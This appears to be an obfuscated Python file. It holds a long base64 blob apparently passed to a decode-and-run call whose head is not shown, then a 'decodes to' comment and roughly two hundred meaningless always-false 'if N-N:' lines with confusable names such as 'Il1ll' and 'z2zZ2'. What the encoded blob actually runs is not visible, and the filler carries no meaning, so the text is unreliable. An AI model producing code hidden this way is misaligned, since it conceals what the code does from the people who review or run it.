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'))
## decodes to:
if 16-16:II1IIl1ll*z2zzzz2Z2zZ2+z22z22zz%Il1ll1llll/l111lIIllI111.Z2zZZ22
if 71-71:Il*ll1ll11ll1II/zzz2+l1l
if 45-45:ZzZzzz.Il1lII.l1ll1lIll%Il11II-I111Il1I11l
if 66-66:I1Il1l1IIl1I
if 57-57:ll11I1l11ll*zZ2.zzz
if 38-38:z2zz2Zzz
if 76-76:Il1ll1llll*z2zzzz2Z2zZ2/z2zzzz2Z2zZ2*Il1lII+zZ2%Il1ll1llll
if 75-75:l1l*Z2zZZ22*zzz2-l1l-ZzZzzz
if 12-12:l111lIIllI111*Il11II%l1ll1lIll.zzz2
if 95-95:z2zz2Zzz+zzz+zZ2-l1ll1lIll-ll1ll11ll1II
if 56-56:zzz2.II1IIl1ll*II1IIl1ll%z2zzzz2Z2zZ2-ZzZzzz-z2zz2Zzz
if 74-74:l1l-zZ2
if 40-40:z2zz2Zzz/zZ2-z22z22zz.l1l/ll1ll11ll1II
if 96-96:ll1ll11ll1II%II1IIl1ll-II1IIl1ll/z2zz2Zzz%zzz
if 48-48:Il*I1Il1l1IIl1I/l1ll1lIll.zzz2/zZ2
if 38-38:z2zz2Zzz.I1Il1l1IIl1I/zzz.Il+l111lIIllI111.Il
if 37-37:zzz2.I111Il1I11l-l111lIIllI111+ZzZzzz
if 63-63:l1ll1lIll-l1ll1lIll-ll11I1l11ll.Il
if 78-78:ZzZzzz
if 43-43:ll1ll11ll1II%ZzZzzz+l1l*zzz/Il1lII/z2zzzz2Z2zZ2
if 99-99:Il-Il1ll1llll.z2zz2Zzz-I1Il1l1IIl1I
if 38-38:Il-I1Il1l1IIl1I/Z2zZZ22/II1IIl1ll*l111lIIllI111
if 77-77:Il1ll1llll*zzz%Il*z2zzzz2Z2zZ2
if 65-65:I1Il1l1IIl1I/z22z22zz.ll11I1l11ll+Il11II*z2zz2Zzz
if 49-49:ll1ll11ll1II/z22z22zz.zzz2
if 72-72:l111lIIllI111/zzz*zZ2
if 90-90:zZ2/Il11II/l1ll1lIll-zzz2
if 20-20:ZzZzzz%Z2zZZ22*ll1ll11ll1II%zzz
if 82-82:z2zz2Zzz.l1ll1lIll-zzz
if 23-23:zzz.Z2zZZ22+zzz2+ZzZzzz%Il11II%z22z22zz
if 40-40:I1Il1l1IIl1I%z2zzzz2Z2zZ2*zzz*l1l
if 72-72:Z2zZZ22/l111lIIllI111-zZ2+z2zzzz2Z2zZ2%Il1lII.l1ll1lIll
if 17-17:l1l+Il1lII
if 16-16:zzz2%z2zzzz2Z2zZ2%II1IIl1ll
if 25-25:Il/z22z22zz%ll1ll11ll1II
if 100-100:z2zz2Zzz*l1l/zZ2
if 63-63:zzz2
if 4-4:zzz2
if 66-66:z2zz2Zzz.ll11I1l11ll+ll11I1l11ll%l1l.zzz/Il11II
if 19-19:Il-zzz-l1l.I1Il1l1IIl1I
if 72-72:Z2zZZ22%I111Il1I11l
if 66-66:z2zzzz2Z2zZ2-Z2zZZ22
if 74-74:Il1ll1llll+zzz+l1ll1lIll+II1IIl1ll
if 67-67:Z2zZZ22+zzz
if 33-33:Il1lII*Il11II+ll11I1l11ll*z2zzzz2Z2zZ2
if 73-73:z2zz2Zzz/I111Il1I11l*Il1lII%I111Il1I11l/ll11I1l11ll-II1IIl1ll
if 78-78:II1IIl1ll%Il+I111Il1I11l-II1IIl1ll
if 3-3:Il11II+Il1ll1llll+Il
if 34-34:Il1ll1llll+z2zzzz2Z2zZ2/l111lIIllI111
if 68-68:I111Il1I11l%zzz+Z2zZZ22%l1l
if 93-93:z2zz2Zzz/ZzZzzz/Il%l111lIIllI111-ZzZzzz
if 6-6:ZzZzzz-l1l.Il1lII
if 75-75:ll1ll11ll1II+ZzZzzz%ll1ll11ll1II
if 48-48:II1IIl1ll*Il11II-Z2zZZ22
if 32-32:l1l/I111Il1I11l+Il+Il/zzz2
if 30-30:l1l-Il1ll1llll.Il11II*ZzZzzz
if 66-66:ZzZzzz%I1Il1l1IIl1I%ll11I1l11ll-z2zzzz2Z2zZ2/Il1ll1llll
if 82-82:zzz*l111lIIllI111/z2zzzz2Z2zZ2/II1IIl1ll+I1Il1l1IIl1I
if 1-1:z2zzzz2Z2zZ2*zzz/l1ll1lIll
if 93-93:zzz2*ZzZzzz/Il11II-z22z22zz*Il1lII
if 63-63:ll1ll11ll1II.l1l.I1Il1l1IIl1I+z2zz2Zzz.l1l%zzz2
if 8-8:Il
if 68-68:l111lIIllI111+zZ2-z22z22zz+zZ2+II1IIl1ll
if 95-95:l111lIIllI111*z2zzzz2Z2zZ2+z2zzzz2Z2zZ2
if 24-24:ZzZzzz.l1ll1lIll-zzz2*Il.I111Il1I11l-zzz2
if 6-6:zzz2-Il%zzz2+l1l
if 61-61:z2zz2Zzz
if 24-24:I1Il1l1IIl1I-ZzZzzz
if 40-40:Il1ll1llll-l1l.ll1ll11ll1II
if 21-21:l1ll1lIll.z2zz2Zzz.z2zzzz2Z2zZ2
if 58-58:l1ll1lIll.zZ2
if 81-81:l1l
if 30-30:l1ll1lIll+ZzZzzz-ll11I1l11ll
if 53-53:Z2zZZ22%z2zz2Zzz%ZzZzzz
if 8-8:I1Il1l1IIl1I.l111lIIllI111.Z2zZZ22/I1Il1l1IIl1I%Il/ll1ll11ll1II
if 85-85:zZ2/Il11II/l111lIIllI111-Z2zZZ22
if 85-85:z22z22zz
if 100-100:ZzZzzz+ZzZzzz%l1ll1lIll
if 37-37:II1IIl1ll
if 76-76:zzz2%zZ2+l111lIIllI111%ll1ll11ll1II.z2zzzz2Z2zZ2
if 21-21:zzz2%zZ2
if 31-31:z22z22zz+z2zz2Zzz
if 12-12:ll11I1l11ll/z2zz2Zzz
if 42-42:l111lIIllI111*z22z22zz%zzz*II1IIl1ll/ll11I1l11ll
if 79-79:II1IIl1ll%Il%z2zz2Zzz%zZ2%z2zz2Zzz/I1Il1l1IIl1I
if 95-95:Il.ZzZzzz+l1l-Il1lII%I1Il1l1IIl1I
if 88-88:I111Il1I11l%z2zz2Zzz-I111Il1I11l%Il1ll1llll
if 17-17:Il1lII+I111Il1I11l+Il1ll1llll%zzz
if 79-79:Il1lII/ll1ll11ll1II
if 56-56:ll1ll11ll1II*Il/z2zz2Zzz+ll11I1l11ll-I111Il1I11l
if 66-66:ZzZzzz.zzz2
if 37-37:I111Il1I11l%ll11I1l11ll-zzz2.Z2zZZ22
if 60-60:II1IIl1ll+I111Il1I11l+I111Il1I11l/z22z22zz
if 65-65:Il1ll1llll/Il+zzz-zZ2
if 63-63:l1l*zZ2.Il1ll1llll/Il11II-Il11II
if 36-36:I111Il1I11l/Il/II1IIl1ll.z22z22zz-I111Il1I11l+ll11I1l11ll
if 6-6:ll11I1l11ll.Z2zZZ22
if 46-46:zZ2-z22z22zz
if 82-82:I1Il1l1IIl1I
if 87-87:zzz2
if 56-56:Il1lII*l1ll1lIll/l1l*ll11I1l11ll
if 62-62:zzz2%l111lIIllI111.zzz2%ll1ll11ll1II*zzz2
if 65-65:zzz-l1ll1lIll-z2zz2Zzz*z2zzzz2Z2zZ2
if 71-71:z22z22zz*Il+ZzZzzz.z2zzzz2Z2zZ2.z22z22zz
if 79-79:ZzZzzz
if 80-80:z2zzzz2Z2zZ2%z2zzzz2Z2zZ2/ll1ll11ll1II+ZzZzzz+zZ2
if 76-76:ll1ll11ll1II*I1Il1l1IIl1I+Il1ll1llll+I111Il1I11l*Il11II%z22z22zz
if 44-44:z22z22zz*II1IIl1ll
if 59-59:I111Il1I11l/ll1ll11ll1II+ll11I1l11ll/z22z22zz
if 82-82:Il11II*Il11II%zZ2
if 78-78:Il1ll1llll-z22z22zz
if 47-47:l1ll1lIll
if 88-88:Il1lII.ll11I1l11ll*zzz2*Il*z2zz2Zzz.z22z22zz
if 29-29:Il-Il1ll1llll+Il/II1IIl1ll/I1Il1l1IIl1I
if 37-37:l1ll1lIll
if 39-39:l1l+l111lIIllI111+I1Il1l1IIl1I%Z2zZZ22*l111lIIllI111
if 81-81:I1Il1l1IIl1I*zzz*Z2zZZ22
if 85-85:ZzZzzz
if 15-15:l1ll1lIll
if 38-38:I1Il1l1IIl1I*Z2zZZ22/Il1lII/zzz2-Z2zZZ22%zzz2
if 64-64:zzz2.z22z22zz/zZ2.z22z22zz%z2zzzz2Z2zZ2
if 28-28:z22z22zz+Il1lII.Il11II
if 44-44:ll11I1l11ll*l111lIIllI111/Il1ll1llll/z22z22zz
if 88-88:II1IIl1ll.Z2zZZ22
if 46-46:z2zzzz2Z2zZ2-Il11II
if 17-17:Il1lII.ll11I1l11ll
if 100-100:z2zzzz2Z2zZ2+l1l*ll1ll11ll1II/I111Il1I11l%zZ2
if 6-6:z22z22zz+II1IIl1ll/l111lIIllI111%I111Il1I11l.Il11II.z2zzzz2Z2zZ2
if 90-90:Il1ll1llll
if 10-10:l111lIIllI111
if 37-37:ZzZzzz%I111Il1I11l
if 95-95:ll1ll11ll1II+zZ2.Il1lII+z2zz2Zzz%z2zz2Zzz+ll1ll11ll1II
if 36-36:I1Il1l1IIl1I%zZ2+Il1lII-II1IIl1ll%ll11I1l11ll
if 23-23:ll11I1l11ll%l1l%z2zzzz2Z2zZ2-ll11I1l11ll
if 65-65:Il11II%I111Il1I11l*ll1ll11ll1II
if 69-69:Il11II*zzz%II1IIl1ll*z2zzzz2Z2zZ2
if 63-63:Il1ll1llll/ll11I1l11ll/zzz+Z2zZZ22
if 71-71:zZ2*zZ2
if 82-82:zzz2/zzz%z2zz2Zzz.zzz-z2zzzz2Z2zZ2
if 36-36:Il11II%Il+zZ2+zzz
if 14-14:z22z22zz%Il11II*z2zzzz2Z2zZ2-z22z22zz+Il-z2zzzz2Z2zZ2
if 68-68:ll1ll11ll1II-Il11II*z2zzzz2Z2zZ2+l111lIIllI111%zzz2
if 25-25:l111lIIllI111.Il+l1l.Il*zZ2*Il
if 14-14:l1l/z2zz2Zzz+Il1lII+ZzZzzz/Il
if 77-77:ll11I1l11ll-I111Il1I11l%Il11II%ll11I1l11ll
if 79-79:ll11I1l11ll%l1ll1lIll-l1l
if 27-27:Il*Il1lII
if 61-61:Il1lII*z2zzzz2Z2zZ2
if 27-27:zZ2/Z2zZZ22/Il1ll1llll
if 83-83:Il1ll1llll+ll11I1l11ll-ll1ll11ll1II/I1Il1l1IIl1I*I111Il1I11l+Il11II
if 7-7:l111lIIllI111/zzz2/I1Il1l1IIl1I/l1ll1lIll*Z2zZZ22
if 89-89:zZ2+II1IIl1ll*z22z22zz.l1l
if 74-74:I111Il1I11l%zzz
if 78-78:zZ2+zZ2*Il1ll1llll
if 88-88:I111Il1I11l
if 5-5:Il1lII
if 11-11:z2zz2Zzz+Z2zZZ22%l111lIIllI111-Il11II%Il1ll1llll%ll11I1l11ll
if 84-84:z22z22zz*zZ2*z2zzzz2Z2zZ2/Il1ll1llll
if 71-71:I111Il1I11l-Il
if 67-67:I111Il1I11l
if 71-71:ZzZzzz
if 76-76:zzz%ZzZzzz
if 94-94:ll1ll11ll1II%II1IIl1ll+z2zz2Zzz
if 13-13:zzz2*II1IIl1ll
if 65-65:ll11I1l11ll/zzz2/Il11II/l1ll1lIll
if 70-70:zzz-Il1lII-zzz2
if 57-57:z2zzzz2Z2zZ2-zzz*I1Il1l1IIl1I
if 80-80:l1l/ll11I1l11ll
if 91-91:Il1ll1llll
if 1-1:II1IIl1ll/Il1lII-Il
if 26-26:l1l+zzz/l1ll1lIll-I1Il1l1IIl1I
if 15-15:I1Il1l1IIl1I
if 66-66:ll11I1l11ll*ZzZzzz+z2zz2Zzz*Z2zZZ22
if 34-34:ll11I1l11ll/zzz%zzz.zzz2*zZ2
if 40-40:I1Il1l1IIl1I*I1Il1l1IIl1I.l111lIIllI111*l1l
if 42-42:zZ2-I111Il1I11l-Il+Il11II/z2zzzz2Z2zZ2
if 23-23:ll11I1l11ll
if 10-10:ll1ll11ll1II%zZ2.ZzZzzz+z2zz2Zzz*Il1lII
if 77-77:II1IIl1ll.I111Il1I11l*l1ll1lIll%l111lIIllI111*zzz
if 59-59:I111Il1I11l.Il11II/l111lIIllI111+Il11II%zZ2
if 29-29:zzz/I111Il1I11l-Z2zZZ22.Il1ll1llll%l1l
if 52-52:z2zzzz2Z2zZ2-zzz2-Il1ll1llll
if 80-80:ll1ll11ll1II.Il1ll1llll*I1Il1l1IIl1I-Il*z2zzzz2Z2zZ2+I111Il1I11l
if 55-55:I1Il1l1IIl1I.ll1ll11ll1II%zzz%l1ll1lIll+Z2zZZ22
if 20-20:I111Il1I11l*II1IIl1ll+Il1lII+zzz2%z2zz2Zzz*l1l
if 27-27:l1ll1lIll*ll11I1l11ll.Il
if 88-88:zzz.l1l/I111Il1I11l
if 47-47:l1l
if 87-87:z2zzzz2Z2zZ2-z2zz2Zzz-Il/I111Il1I11l.Il11II-Z2zZZ22
if 17-17:zzz2.Il11II.z2zz2Zzz.l1ll1lIll
if 36-36:ZzZzzz%l1l*zzz2%Il.z22z22zz.I1Il1l1IIl1I
if 68-68:l1ll1lIll*ll1ll11ll1II*ZzZzzz
if 82-82:ll11I1l11ll.Il11II+zzz
if 59-59:II1IIl1ll-l1ll1lIll-Il1lII+zzz%I1Il1l1IIl1I
if 28-28:zzz2%I1Il1l1IIl1I*Il1lII
if 91-91:l1ll1lIll%II1IIl1ll.ll1ll11ll1II
if 10-10:zzz2
